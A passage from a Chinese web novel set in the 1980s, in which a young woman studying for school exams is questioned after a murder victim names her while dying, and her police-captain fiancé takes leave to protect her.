嫂子真是热心又细心,安暖觉得下次要去感谢一下。 但是安暖连忙往后缩了一下:“别别别,不用了。” 这有些太亲密了,虽然她和楚隽在谈恋爱,确定了男女朋友的关系。但也还没有这么亲密过。 他们俩之间,只是有牵手拥抱,有两个蜻蜓点水的吻。还没有到如此亲昵的地步。 “别跟我客气。”楚隽一本正经地说:“也别和自己过不去,就给你揉揉肚子,我不会做什么其他的事情的。” 说着,楚隽的手就要往被子里塞。 “你还想做什么其他事情?”安暖瞪了楚隽一眼,抓住他的手。 “你别管我想不想,反正不敢想。”楚隽说:“你别倔,我们是男女朋友,又是未婚夫妻,你不舒服的时候不使唤我,这样我会觉得自己不称职的。” 楚隽并没有缩回手的意思。 两人互相看了一会儿,安暖只好妥协。 “那你别乱动。”安暖拽着楚隽的手,慢慢放在自己肚子上:“这儿,揉吧。” 楚隽的手挺大的,又暖和,虽然隔着一层睡衣,但还是能感觉到温暖。 确实很舒服。 “我还拿了个热水袋,一会儿给你灌上热水,塞被子里贴在肚子上。”楚隽慢慢揉着:“等有空了,带你去找个中医看看,我听嫂子说,生理期疼痛是可以调养的,不是每个人都痛。” 安暖很佩服。 就出去这半个小时,楚隽都快成专家了。 “楚隽。” “嗯?” “你老实告诉我,你以前真的没有女朋友吗?” “没有啊。” “为什么呢,不合理啊。”安暖支起一点身子,奇怪看着楚隽:“你这么好,为什么没有女孩子喜欢?” 楚隽咳了一声。 “你说得不对。” “怎么不对。” “不是没有女孩子喜欢我,是我没有碰着喜欢的女孩子。”楚隽纠正:“喜欢我的女孩子还是很多的,但是我没有对谁动心过。” 安暖想了想,好像是有区别的。 “嗯,那是她们没有福气。”安暖已经习惯了楚隽这种触碰,安心躺平闭上眼睛:“嗯嗯,往左边一点……对,就那儿……多揉揉。” 楚隽也没有再说话,安心地给安暖揉了揉起来。 安暖喝了半杯红糖水,整个身体都暖和了,也不知道什么时候就睡了过去。 楚隽将靠着的枕头抽走,给安暖盖好被子,悄悄的退了出去。 安暖这一觉睡得不踏实,半夜起来了两次,但她睡眠一直好,起来闭着眼睛上了个厕所,人处于一个半迷糊状态,闭着眼睛爬上床,便又睡了。 楚隽中间也起来了两次,轻手轻脚开了门,见安暖睡得踏实,这才回去继续睡。 第二天安暖起来的时候,楚隽已经上班去了。 留了字条和温着的早饭。 安暖恍惚觉得,如果这就是婚后生活的话,还是不错的。 第147章出水芙蓉 吃了早饭,在沙发上窝了一会儿,安暖继续看书做卷子。 不算今天,只有一天了。 楚隽已经给她安排好了学校,周六去考试。 说好了,从初一开始考,如果及格考初二,初二及格考初三。 要是初三卷子做得合格,就跟着进毕业班,不上课,跟着去考试。每次都能考过,学校可以破格往高中推荐。 过完年,照葫芦画瓢去高中。 虽然安暖的目的就是能参加局里的招聘,只要高中文凭就行。但楚隽说,既然你能学,就往上学一学,有一个大学文凭不是更好吗?以后无论做什么都方便一些。 好当然是好的,学历文凭,当然是越高越好。就算是大学文凭,她也不心虚。 但是初中高中要一年,大学至少又要四年甚至更多,安暖不愿意在上面花那么多时间。上辈子学得够够的了,这辈子只要够用就行。 所以暂时的计划就是先弄一个高中毕业证。 其他的事情以后再说。 十一点半,楚隽往家里打了电话。 “暖暖。”听楚隽的声音挺轻松,想来上午也没什么事情:“上午怎么样,身体好些了吗?” “没什么事儿。”安暖看了看表:“你中午要回家午休吗?” 没案子悬在头顶催命的时候,楚隽也可以悠闲悠闲。 中午是有午休时间的,不是非要在办公室守着。 “嗯,马上就回来。”楚隽说:“昨天不是还剩了不少菜吗,我再从食堂打点,回去一起吃。” 这就是房子买的近的好处了,特别方便。 挂了电话,安暖用电饭煲煮上饭,其他的菜从冰箱拿出来,不着急处理,等楚隽回来热一热就行。 别说这辈子,就是上辈子,她都没想过生活有那么悠闲的一天。 外面,不知什么时候,外面哗啦啦地下起了雨。 安暖听着雨水打在窗户上的声音,赶忙去关窗子收衣服,刚才天气还不错呢,这暴雨倾盆,真是说下就下。 正收到一半呢,听见开门声。 安暖回头去看,只见楚隽一身跟水里捞出来一样进了门。 安暖吓了一跳:“你怎么淋回来了。” 雨拍在窗子上的声音,确实是暴雨,这种雨避无可避,人在雨中站着,瞬间全湿。 “走半路下雨了。”楚隽说:“这么近就没开车了,想着走几步,没想到这雨说来就来……” 楚隽将饭盒放在桌上,抹了一把脸。 “快去洗个澡。”安暖连忙从刚收回的衣服里找了浴巾给他:“天气开始冷了,别感冒了。” 九月底了,虽然出太阳的时候还挺热,但早晚,或者是阴雨天,再吹点风,就已经有些寒意了。换季降温的时候,要特别注意保暖。 “好。”楚隽应着,拿着浴巾就进了房间。 安暖开始热菜,哗啦啦的水声,让她多少有点分神。 楚隽没关房门,只关了浴室的门。 安暖偷偷转头往房间里看了看。 然后又扭回头来。 不,她不是这样的人。 她还没看过楚隽出水芙蓉的样子呢。 每次看见的时候,楚隽都已经洗好了。 楚隽只是淋湿了,也没有洗太久的打算,随便冲了一把,将身体冲暖和了,便关了水。 饭菜的香味已经传了过来,马上就可以吃饭了。 换洗的衣服没有拿进浴室,楚隽毕竟一个人住习惯了,有时候就难免大意一些。于是他随手将浴巾裹在腰上,推开了浴室的门。 一阵风吹了过来。 安暖正好一回头。 虽然都是光着膀子,但汗水落在皮肤上,和头发上没擦干的水珠滴落在皮肤上,可是完全两种风景。 安暖一时没能收回视线。 万幸也没有吹口哨。 楚隽顿了一下,一把抓起搭在床边的衣服裤子,又缩回了浴室里,关上了门。 安暖遗憾的继续热菜。 这个年代的人吧,多少还是有些含蓄的。不然的话,楚隽那么好的身材,难道不应该大大方方的出来转一圈吗? 可惜了。 楚隽再次从浴室出来的时候,已经穿好衣服了。 安暖将最后一盘菜端上桌子。 “洗好啦,快吃饭。”安暖装作刚才什么都没有发生:“吃完饭,下午还要去警局吧?” “嗯……也可以不去。”楚隽说。 “你们上班这么随意吗?”安暖有点意外:“没案子就可以不去吗?” “那倒不是,不过我有不少假,可以调休。你身体怎么样了,要是不舒服我就在家陪你。” 安暖受宠若惊,但倒是也不必。 “我没事儿,吃完饭你去上你的班。”安暖给楚隽盛饭:“反正离得近,我要是有事情就给你打电话,不用在家里守着。” 楚隽也不坚持,只是又叮嘱了一遍。 “有事儿一定要给我打电话,不要强撑着。” “知道了。”安暖给楚隽夹一筷肉:“放心吧,我不会逞强的。我在京市,最亲近的人就是你了,有困难我不找你找谁?” “说的对!” 楚隽也礼尚往来地给她夹了一块肉。 你敬我一杯,我敬你一杯,不如你喂我吃一块肉,我喂你吃一块肉。 吃完饭,楚隽便去把碗洗了,然后回来,给安暖辅导功课。 自从安暖开始自学,难免也有不懂的地方,楚隽便义无反顾地成了她的家教。每次看到安暖一脸茫然问他问题的时候,都十分有成就感。 不过安暖懂得太多,不懂的太少,不懂的地方都很偏僻。 楚隽为了面子,说自己全部都懂,一点儿没差的。其实他也从初中毕业很多年了,有些基础问题也有些模棱两可。于是每每强撑着,如果碰上不懂的,还要顾左右而言他,找各种各样的理由先拖延一下,然后去问别人。 看看时间差不多了,楚隽去上班,安暖去午睡。 窗外倾盆大雨,这样的雨天,更好睡觉。 大雨下了一天一夜,小区里都有些积水了,楚隽回来的时候,又湿了半身衣服。 就算这次是开车回来的,下车进楼这几步路,也淋了不少雨。 这次安暖就有经验多了,贴心地给沐浴的楚隽关上了门。 第148章割喉,祸从天上来 阴雨天气,天特别黑。 往常早上五点钟左右,天就开始蒙蒙亮了,这次六点了,天还是昏暗的。 昏暗的天气,又拉着窗帘,房间里伸手不见五指。 安暖睡得昏天暗地,感觉有人在晃她。 怎么回事? 安暖睁开眼。 “暖暖。”楚隽不知何时进了门,正在床边喊她。 “嗯嗯嗯……”安暖扒拉开楚隽捏她脸的手:“干嘛,干嘛,现在几点了?” “六点半。” “我今天要上班吗?”安暖刚醒,脑子还不太清醒,含糊道:“不对……我又没工作,为什么要上班……就算是上班也不用那么早啊。” 住在老宅的时候,六点起床都晚了,但是住在这边,就没有必要那么早了。 安暖身上软绵绵的,不想动。 “出了点事,你一个人在家我不放心。” 楚隽揉了揉安暖的脸,让他清醒一点。 “什么事儿?”安暖说话不把门:“有人追杀我么?” 这纯粹是胡说八道的,恐怖的是,楚隽竟然没有反驳。 安暖瞬间就清醒了,一下子坐了起来。 “有人要追杀我?这不可能吧。”安暖说:“我什么时候得罪过什么厉害的人?谁要追杀我?” 之前虽然被真枪实弹的追杀过一回,但那是被楚隽牵连了呀,不是冲她来的。她在这个年代总共认识的人都没十几个,哪里就能招惹到这么厉害的人。 楚隽说:“梁柔死了。” “什么!” 安暖一下子坐了起来,然后又哎呦一声倒了下去。 “怎么了?” “腿抽筋。”安暖脸色痛苦地绷直了腿:“抽筋……” “别动,哪只腿?”楚隽连忙掀开被子。 “左腿,左腿。” 安暖痛得想要下床蹦一蹦。 楚隽一把握住了安暖的左腿:“来,绷直了,用力……” 安暖立刻伸直了腿。 “怎么样,好些了吗?”楚隽慢慢将安暖的腿放下:“怎么会突然抽筋,是不是要补点钙?” 楚隽还知道抽筋要补钙呢,不过这不是重点。 “别说我的腿。”安暖连忙说:“说梁柔,梁柔怎么死了?” 安暖说完,不待楚隽回答,连忙接着说:“不对,就算梁柔死了,为什么我会有危险?难道怀疑她是我杀的?” 这也太荒谬,太离谱了吧。 “那倒不是。”楚隽道:“但是你知道,梁柔是鄂平成的女朋友,鄂平成这个人,做事没那么讲究。” “鄂平成那个人,确实像是个阴狠的。”安暖回忆了一下:“但我还是不明白,这跟我有什么关系。我和梁柔也没有矛盾啊。” 楚隽道:“因为在梁柔临死的时候,说了你的名字。” “什么?” 安暖又差一点蹦了起来,幸亏还记得自己的腿,又慢慢放下了。 楚隽将安暖拽起来:“你先起床,跟我去局里,路上再慢慢说。” 安暖只觉得脑子里哄哄的,虽然起床了,但不明白自己是怎么起床的。 楚隽贴心地给她拿了一条深色的裤子,又拿了衣服,看安暖还有些恍惚,伸手搂了一下她肩膀。 “别怕,有我呢,先换衣服。” 安暖定了定神:“好。” 楚隽离开房间,关上门。 安暖很快收拾好了,出了房间,楚隽又拿了一件外套。 “今天降温,多穿一件衣服。”楚隽顿了一下,又拿了她的包。 “你是不是要带一包卫生巾?”楚隽就是这么坦然:“这个东西,隔几个小时就要换吧?” “我自己来,我自己来。” 安暖连忙接过自己的包,走回卧室去装东西。 楚隽拉开窗帘,外面的雨比昨天要小一些,但依然黑漆漆的。现在已经是六点半了,只像是平常的四五点。 安暖很快就收拾好出来了,两人匆忙出了门。 刑警队里其他人还没有到,楚隽住得近,是第一个到的。 楚隽带着安暖脚步匆匆进了大楼。 梁柔被害是今天半夜的事情,来报案的人,是她的父母。 梁柔和楚隽虽然没有特别的关系,但也算是一个圈子里的人,梁家和楚家,也算是有交情的。因此梁柔父母过来报案,接待人员一听,立刻就给邢子墨打了电话。 楚隽带着安暖一出现,梁柔父母立刻就迎了上来。 梁柔父母年纪不大,也就是四五十岁,因为保养得好,看着更年轻。 梁柔的死是昨天半夜的事情,梁柔父母已经哭过一轮了,一眼就能看出疲惫伤心,梁母的眼睛都肿了。 “梁叔叔,梁阿姨。”楚隽道:“发生了什么事情。” 接待人员立刻将记录递了过来。 楚隽立刻看了起来,安暖也凑了过去。 幸亏梁柔父母不认识安暖,要不然的话,这会儿估计就要激动起来了。 梁柔父母总算是见过大世面的,比一般人冷静得多,虽然突然有此变故,却也冷静了下来。 梁柔是在自己家别墅外不远处的小公园里被害的。 被人割喉。 但没有一刀毙命,被割喉之后,就躺在公园的木桥上。 那个时候,她动弹不得,只能勉强发出一些声音,空气涌入气管,耳中传来大峡谷狂风呼啸的声音。 这个时候,即便有人立刻发现了她,马上送去医院,基本上也救不了了。 而且她的运气没有那么好。 梁柔苦苦挣扎了一会儿,在快要断气的时候,终于有人路过。 要是晴天,小公园一早就有人去晨练,有些老人家早上睡不着,甚至四点五点就会出门。 但今天下了大雨。 雨水冲刷了一切痕迹。 路过的人是附近工厂是上班的工人,几个人一起,发现桥上躺这个人吓了一跳,连忙过去看看。 此时,梁柔只剩下一口气,看见有人喊她,挣扎着,用非常轻,非常轻的声音,说出了安暖的名字。 然后她便死了。 几人一听,顿时就懵了。 死人了,谁都会被吓着。 就是这么巧,这其中的一个人,曾经跟着鄂平成混了一段时间。但凡是跟着鄂平成混过的人,都知道他对梁柔死缠烂打,情根深种。 其他人去报警,他一看这情况,立刻打电话去找鄂平成。 现在这个时候,梁柔父母已经来了,鄂平成,估计也快要到了。 第149章 割喉,好汉不吃眼前亏 梁柔父母没有见过安暖,也不知道有这一号人,他们只是如实的跟楚隽反应了这个情况。 当然除了他们,现在在警局的,还有发现梁柔的几个工人,都来做了笔录。 梁柔的尸体,也已经运到了警局,但是她的死很简单就被定性。 没有其他的伤痕,法医很快给出结论。 就是一刀割喉。 虽然不是立刻致命,但这是致命伤。 梁柔身上的财物没有少,没有其他被侵害的痕迹,凶手就是冲着杀人来的。 梁柔只是一个柔弱小姑娘,虽然平时穿着打扮有些离经叛道,本质上是肩不能扛手不能提的,如果对手是有备而来,根本没有反抗的余地。大雨中,连挣扎反抗的声音都喊不出来。 她活着的时候,热热闹闹,轰轰烈烈。谁能想到,死的却如此绝望寂寞。 梁母道:“小楚,我有些话,想要跟你单独说。” “好。”楚隽道:“跟我来吧。” 这案子恶劣得很,又在辖区内,肯定是由他们刑警队负责了。 楚隽带梁柔父母来到办公室,再过不了一会儿,其他人也要陆续来了。 安暖去了会议室。 要是其他的事情,她还能听一听,但这事情现在可能牵扯到她,虽然很荒谬,但是要开始避嫌了。 楚隽办公室的门关上了。 几人坐下。 梁柔母亲抹了抹眼睛,声音嘶哑。 “小楚,我……我感觉小柔最近可能谈恋爱了。但是我不能确定,所以没敢和别人说。” 楚隽想到了鄂平成。 “伯母,你知道些什么,都可以尽管放心的和我说。如果牵扯到梁柔的隐私,只有我们办案的人知道,是不会对外泄露的。” 梁母点了点头。 “小柔一向是个比较叛逆的孩子,我知道你们偶尔也会聚一聚,也见过她,和咱们这样家庭出来的大家闺秀不一样。” 梁柔父母何尝不知梁柔的离经叛道,但是没办法。 父母如果爱孩子,那是扭不过孩子的。 楚隽没有评价梁柔,只是点了点头。 “这几天,大约是这五六天吧,我感觉她心情不太好,可是问她,又什么都不说。有一次,我进她房间,她正在穿衣服,我看见……” 梁母有些尴尬,顿了顿道:“我看见她脖子上,有两块红色的印子。” 吻痕? 懂得都懂。 梁母说:“小柔这年纪,按理说谈恋爱是很正常的事情,不奇怪。但是她这性子,能看的上的男朋友,我总想着觉得不靠谱。” 虽然自己女儿是个黄毛,但要是再找一个黄毛,家长也是不愿意的。 为人父母,就是这么双标。 “所以我想,她会不会在外面认识了什么不三不四的人,牵扯进了乱七八糟的关系里。她临死的时候,说安暖,还重复了两遍,听着像是个女人的名字。这个人很可能是凶手,但是我们印象中,并不知道她来往的有这么个女人,莫非是有什么感情纠葛?” 楚隽这时候心里也是很复杂。 他也想不明白,这事情怎么会牵扯到安暖。但眼下看来,从梁柔口中说出的这个名字,很可能不是别人。 安这个姓本身就很少见,安暖这个名字的重复率不高,偏偏又是认识的,说是凶手太勉强,但说没有牵扯,也勉强。 如果是这样的话,不但安暖要回避,他可能也要回避了。 梁父见楚隽有些走神,不由的道:“小楚。” “哦。”楚隽道:“稍等一下。” “好,好。” 楚隽说:“我出去打个电话。” 这事情既然牵扯了自己,就不好做主了,要往上汇报一下。庄局这会儿还没到,应该在家还没出门。 楚隽出去打了个电话,大约说明了情况。 安暖在办公室里发呆,坐了一会儿,觉得有点饿,便起了身。 这身体别看年轻但真不强壮,大概是小时候没养好,早上不吃容易低血糖。 刑警队办公室有一个专门放零食的地方,大家都会往里面补点东西,当然楚隽补得最多。之前安暖也买过,给大家加班的时候吃。 今天早上出来得急,没吃早饭,她就想去摸几块点心。 刚出了会议室的门,还没走到放零食的地方,就看见楚隽办公室的门开了,梁母也走了出来。 安暖就看了一眼。 她对梁柔的感情十分复杂,或者说,她对梁柔没什么感情,只是心情很复杂。 正要去拿零食,一个姓张的后勤从门外路过,看见安暖,就顺口打了声招呼。 “小安今天来那么早啊。” “啊,是。”安暖说:“今天有点事儿就过来了。” 这本来是再正常不过的一问一答,但梁母一听到小安两个字,立刻停下了脚步。 安这个姓,确实不多见。 梁母可不是什么娇滴滴的性格,她立刻便问:“同志,你姓安?” “是。” 安暖这会儿觉得不大对劲,但是也不能藏着掖着,更不能转身走,不然的话,没有嫌疑也像是有嫌疑了。 “你叫什么名字?” 安暖在心里叹了一口气。 最可怕的事情来了。 在受害者家属最情绪激动的时候,撞个正着。 虽然她的身份是瞒不住的,但是不管怎么样,也不该在这个时候碰上。 但安暖只能说:“我叫安暖。” 说着话,安暖往后看了看,她已经计划好了退路。 好汉不吃眼前亏,梁柔父母现在情绪激动,她能理解,但不能成为他们发泄的目标。当然也不能针锋相对,如果他们失控,先跑为妙。 楚隽刚才好像出门去了,但是没和她打招呼,可见没有走远。也许是去一趟隔壁办公室,也许是去上个厕所,总之很快就能回来。她只要跑进会议室把门锁好等待救援就行。 “你就是安暖!”梁母突然就反应过来,喊了一嗓子。 这一嗓子差一点破音。 梁父听着声音,也从楚隽办公室里冲了出来。 梁父看着安暖,喊了一声更大的。 “你就是凶手!” “我不是。”安暖转头就跑,不跑是傻子。 她冲进会议室,关门锁门一气呵成。 会议室的门还是很结实的,梁柔父母也不是战斗型人员,不怕。 只是这叫什么事儿啊,安暖喘了两口气,捂住小腹,隐约作痛。 第150章割喉,当了一回嫌疑人 梁柔父母在会议室门口拍着门,特别激动。 “开门,开门出来,你是安暖,你是不是凶手!” “快开门!” 门被拍得啪啪响。 安暖在里面喊道:“跟我没关系,我不是凶手……” 一时间非常混乱,楚父甚至已经搬起了椅子。 这叫什么事儿啊,安暖真是恨,今天为什么要跟着楚隽出来,楚隽自己出来不就好了。难道是怕她一个人在家有危险,总不能比这里更危险吧? 好在混乱只维持了短短的几分钟。 楚隽很快就听着动静回来了。 一看这阵势,赶紧上来,一边拽人,一边喊人。 这会儿已经开始有人陆续来上班了,听着这边的动静,纷纷赶了过来。 安暖终于开门出开了,脸色不太好。 楚隽立刻走了过去,低声道:“没事儿吧。” “没事儿。”安暖说:“就是这事情……怎么样了,为什么梁柔父母追着我,说我是凶手。昨天半夜,梁柔为什么要去小公园?” 楚隽没有回答第二个问题,只是说:“梁柔死之前,说了你的名字。” 这事情安暖已经知道了。 可惜楚隽也不知道更多了。 “去我办公室。”楚隽说:“我安排一下梁柔父母,一会儿就过去跟你细说。” “好。” 安暖赶紧进了楚隽办公室,也没什么心思吃东西了,倒了一杯水窝在沙发上,用热水杯捂着。 外面闹哄哄的,过了好一会儿,楚隽这才进来。 安暖看了看时间,八点半了,这个时候该上班的都来上班了,梁柔父母应该不会再进来找她麻烦了,后面不管什么流程,都有人专门负责了。 “怎么样了?”安暖懒洋洋的,没站起来,只是换了个姿势。 楚隽答非所问地应了一声:“是这样的,这案子现在不好和你细说,不过有一些问题需要问你。” “嗯。”安暖道:“你说。” 楚隽有些为难:“你跟我来吧,换个地方说话。” 安暖老实的跟着楚隽走了。 竟然走到了之前的审讯室。 “进去吧。”楚隽说:“江副队在里面,他问你什么,你照实说就行。” 安暖抬头看了看审讯室三个字,这下算是明白了。 她指了指自己:“我现在是嫌疑人了?” “只是例行询问罢了。”楚隽说:“因为这件事情牵扯到你,所以我现在要避嫌,不能参与了。但是你放心,这件案子现在交给江副队负责,他问什么,你如实说就行。” 楚隽竟然也被屏蔽在外了。 安暖十分抱歉:“我是不是连累你了?” “这算什么连累。”楚隽笑了一下:“你先进去,我去给你弄点热乎的吃食。我刚才看你捂着肚子,是不是不舒服吧。” “好。” 安暖进了审讯室。 “小安,坐。” 安暖坐上了两辈子都没坐过的地方。 她不知道的是,在此之前,楚隽已经被问过一轮了。 楚隽虽然没有两辈子,但也是这辈子第一次被这么审问,十分新鲜。 江笑愚道:“小安,认识梁柔吗?” “算认识吧,见过两面。” “那你具体说说,第一次见面是什么时候,具体什么情况?” “在……”安暖想了想,幸亏她来这时间不长,往前推一推,还能记得时间。要是时间长了,就不好会议了。 一旁的卢瑞泽开始记录。 “那天晚上楚隽带我去酒吧,正好梁柔也在,就认识了。后来……” 安暖没有什么好隐瞒的,将那天的事情一五一十的说了。 江笑愚道:“所以说,你们是有矛盾的。” 安暖想了想,中肯地说:“她看我肯定是不顺眼的,但是我对她没有什么意见。” 江笑愚说:“她这么对你,差一点害你被人欺负,你对她没有意见?” “没有。” “为什么呢?正常人都会有意见吧。” “因为没有必要啊。”安暖说:“而且准确地说,我那天遇到危险,也不是她有意害我。只是一场意外,我不可能因此迁怒她。” 安暖说的坦坦荡荡,但这确实是动机。 虽然说这动机远没到杀人的地步,但也是动机。 江笑愚点了点头:“第二次呢?” 第二次就连矛盾都没有了,安暖至今记得梁柔当时说的话。 “第二次就是前几天,买衣服的时候碰见的。当时她正在和鄂平成逛街,在服装店门口碰着了,就随口聊了两句。” 江笑愚没有追问鄂平成是什么人,看样子楚隽已经都说过了。 江笑愚道:“昨天晚上,你在哪里?” “在家。”安暖道:“哦,不是老宅,就是警局边上楚隽那个三室套。为了早上多睡一会儿,最近我都住在那里。” “和楚队一起?” “对。” “那……”江笑愚迟疑了一下:“你们住在一起吗?” “对啊。”安暖先是顺口应了一声,然后后知后觉:“不对,我们一人住一个房间。我住主卧,楚隽住客房。” “也就是说,你们没有睡在一起。” “当然没有,我们还没有结婚呢,怎么会住在一起。” “也就是说,如果你半夜出门,他也许无法察觉。” 安暖沉吟了一下。 “可以这么说,但是,你们将我当做嫌疑人,是很没有道理的。” “怎么说?” “第一,我和梁柔没有血海深仇,最多有一点矛盾。我现在和楚隽生活得好好的,日子过得那么好,为什么要做这种事情,不是脑子坏了吗?这对自己一点好处也没有啊。” “第二,这两天我生理期,睡得不好,楚隽也睡得不好。晚上我们俩都是开着门的,如果有动静,他很容易就能醒。” “第三,昨天晚上倾盆大雨,我半夜出门,开车去案发地点,再开车回来,不可能不留下一点踪迹。而且说实话,梁柔遇害的那个地方,别说去,我连听都没有听过。我来京市一共十几天,大部分时间和楚队待在一起,去过哪些地方一查便知。” 安暖说完,卢瑞泽也终于记完了。 江笑愚看了看记录,说:“好,暂时没有什么要问的了。” 第151章 贴身保护 安暖松了口气,幸亏嫌疑不大,只是问了些话。要是拘留了,那才有趣呢。上辈子这辈子,她两辈子都没想过,自己还有在牢里待着的日子。那不是什么好地方,能不进还是不进的好。站了起来,安暖便看见楚隽在外面等她。“怎么样?”楚隽道:“没事儿吧?”楚隽手里拎着一个保温饭盒。“没事儿,就是问了我和梁柔的关系。”安暖道:“我就如实跟江副队说了。”“好,如实说了就行。”楚隽道:“我让食堂做了一碗馄饨,去我办公室吃。”“好。”进了办公室,楚隽打开了饭盒,拿出勺子。食堂里用大骨汤下的馄饨,特别香。“来,趁热吃。”楚隽说:“我看你捂着小腹,是不是不舒服了。”“嗯,早上没吃,有点饿了。”安暖喝了一口汤,只觉得哪儿哪儿都舒服起来。楚隽看着安暖吃了起来,拖过凳子坐在一旁,开口道:“我和江笑愚聊了一下。”“嗯?怎么说?”本来安暖一直在考虑要不要问,能不能问,现在楚隽开口了,那就是能问,于是她立刻就问了。“梁柔在临死前,说了你的名字,这不太可能是同名同姓,我们都认为,梁柔想说起的人,就是你。”安暖咽下一口馄饨:“你们还是怀疑我?”“不是怀疑你。”楚隽道:“怎么会怀疑你呢?不管是站在刑警的立场,还是站在未婚夫的立场,都不可能怀疑你。我天天都和你在一起,如果你是凶手,我可以一头撞死了。”楚隽这不仅仅是对安暖的信任,更是对自己的信任。楚隽没怀疑她,安暖很欣慰。安暖道:“那现在是什么情况?”“我和老江聊了一下,梁柔死之前,说出你的名字,有几种可能。”“嗯。”馄饨温暖了安暖的胃,也让她脑子活络起来:“说说看。”“要么这个凶手和你有关,是你身边的人,梁柔不认识凶手,但是认识你,所以通过说出你的名字,来给我们线索。要么,你就是凶手的下一个目标,梁柔在给你示警。”安暖觉得自己的馄饨有点吃不下去了。她又勉强吃了一个。“你是说,我是凶手的下一个目标?而且,梁柔知道?”安暖咬着勺子:“其实梁柔这个人吧,我虽然跟她好像不对付,但仔细想想,这姑娘是个讲义气的人。虽然她找了一次麻烦,但我并不讨厌她。”“怎么说?”安暖道:“第一次她找我的麻烦,是为了给朋友出头,而且用的法子也不是多阴毒的法子,更像是个恶作剧,至于碰到鄂嘉荣让事情闹大,其实是个意外。第二次碰见,她跟我说了几句话,虽然不太好听,但很有道理,我觉得当时她说的,是肺腑之言。”良药苦口,忠言逆耳。梁柔当时说,让她不要全心全意的只倚靠楚隽,要给自己留后路。不管是好心,还是恶意,这话没毛病。这事情安暖对楚隽说过,楚隽是知道的。“嗯。”楚隽道:“老江已经安排人在查梁柔的社会关系了,目前最可疑的,是鄂平成。”安暖也想过鄂平成,但是没有说出来。她对鄂平成全部的了解,就是买衣服那一次,听楚隽说了两句他们兄弟的关系。只知道鄂平成对梁柔爱的死去活来,虽然不知道他们俩什么时候在一起的,但不会超过十天。这就因爱生恨了?这爱恨转变的也太快了一些吧。果然得不到的永远在骚动,得到了以后就不会珍惜。不过一旦将嫌疑人锁定在鄂平成身上,就彻底跟她没有什么关系了。鄂平成不是一个人,是一个势力。他手下小弟很多,就算人是他要杀的,或者就是他杀的,也会有人愿意顶罪。如果鄂平成确实是凶手,想让他伏法,只怕是一场对鄂家势力的清洗了。别说安暖,这都不是楚隽能够负责的事情了。安暖以为楚隽会接着说鄂平成,没想到他说。“你周末不是要去初中考试吗?”“对啊。”安暖道:“你要忙梁柔的案子吧,没关系,你给我个地址,我自己去。”“不用,不用忙案子。”楚隽说:“我休假了。”“啊?”安暖很意外:“现在?”“对,今天开始休假。”安暖立刻就反应了过来:“你被我连累了?”楚隽怎么可能在这个刚来案子的时候休假,只能是被要求回避了。虽然她不是嫌疑人,但在这案子里,确实是有参与感的。“谈不上连累。”楚隽笑了一下:“这个案子我确实是要回避,但不至于就回避的需要休假,是我自己申请休假的。”“为什么呢?”“因为我不放心。”楚隽说:“梁柔死前说出了你的名字,万一真的是凶手的下一个目标呢。凶手非常凶残,在事情没有彻底解决之前,你必须有人保护。所以我想了想,申请了休假,一直到这个案子结束,你必须寸步不离在我身边。”安暖知道楚隽一大早把她拽过来,是存了保护的心思的。但是没想到,现在保护升级到了这个地步。竟然要一个刑警队长贴身保护。但安暖在遇到事情的时候,一向非常能够听从别人的劝告。在这个年代,在这个地方,当然要听楚隽的。生命诚可贵,她可不会因为莫名其妙的自尊和客气,让自己置身危险之地。“好。”安暖一口应了:“那就要辛苦楚队了。”“不辛苦,应该的。”两人正说着话,突然听着外面闹了起来。楚隽立刻起身走到了窗子边上,往下看去,皱起了眉头。安暖也跟了过去。公安局院子外面,站着一群人。都是年轻男人,虽然不是个个奇装异服,但看着都流里流气的,简单的说,一看就不是好人。当中的一个人,安暖一眼就认出来了,正是鄂平成。“完蛋了。”安暖脱口而出:“鄂平成不是来找我的吧。”《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第152章 甩尾巴 “不必担心。”楚隽握住安暖的手:“别怕。这是在警局,鄂平成没那么大的本事,能从警局抢人。”一群社会人士冲击公安局,这还得了。这可不是一个人两个人的事情了,这是国家威严被挑衅了。“嗯,我不怕。”安暖说:“我就是觉得,如果鄂平成是凶手的话,他就这么冲过来,是不是有点胆大包天了。”还是说,这是故意为之?很快,楼下就传来了鄂平成的吼声。但毕竟离了有些距离,鄂平成又进了大厅,虽然乱哄哄的,但是听不清具体在说什么。安暖皱着眉,竖着耳朵听。可惜了,这次实在不适合去现场,要不然的话,一定要去看看。不过本来他们是打算离开回家的,可现在鄂平成在楼下,就不好走了。倒是不怕他,但楚隽不想在这么复杂麻烦的时候,让安暖出现在这个局面里。“做卷子,做卷子。”安暖说:“既然这案子我们需要回避,那就不管了。我做卷子打发打发时间……明天就要考试了,想想还有点紧张呢。”平时自称天才,初一的卷子都考不过去,就丢人了。以后的人设就不好立了呀。安暖当下就翻出了初一的书和卷子,把自己有些不熟的题型拿出来复习,万一考到了呢,人可以自信,但是不能大意。当下,警局里呈现出冰火两重天。外面因为梁柔的案子和鄂平成的到来,乱哄哄的,人人都很紧张。办公室里,一片宁静。楚隽甚至捧了一杯茶,架着二郎腿坐在沙发上,看安暖做卷子。楚隽又指点了安暖一题,心满意足地喝了一口茶。“我从警以来,还从没有这么轻松过。”楚隽说:“有种世人皆行我独醉的感觉。”安暖撇了他一眼:“你挺放心啊,这么大的事情,你不担心吗?”“你小看江副队了不是?”楚隽笑了一下:“刑警队不是只有我一个人,局里也不止我一个人,离了谁,都能转。”看来楚隽平时酷酷的,但集体意识还是挺强的。安暖这就放心了。不过楚隽还是起身去打了个电话,说了几句,挂了电话回来。安暖一直站在窗口看,有人出去驱散,很快,那些人就散了。如果不散,就会被关起来。他们虽然头铁,但也没有那么铁。“人都走了。”安暖说:“我们也走吧。”“好。”楚隽拿了包,和安暖一起出了门。下了楼,一切已经恢复了平静。鄂平成没有那么容易打发,但是也不可能由着他在大厅里大喊大叫,现在一定已经请到某个接待室去了。梁柔父母应该也还在某个房间。两人上了车,开出了门。但是楚隽没有直接将车开回三室套去。“怎么了?”安暖看着车一直往前开,便道:“我们现在不回三室套吗?回老宅?现在还是不要回老宅了吧,别吓着爷爷了。”其实老宅现在是最安全的地方,那是有勤务兵站岗的地方,任何闲杂人等,宵小之辈都会被抓住。但是那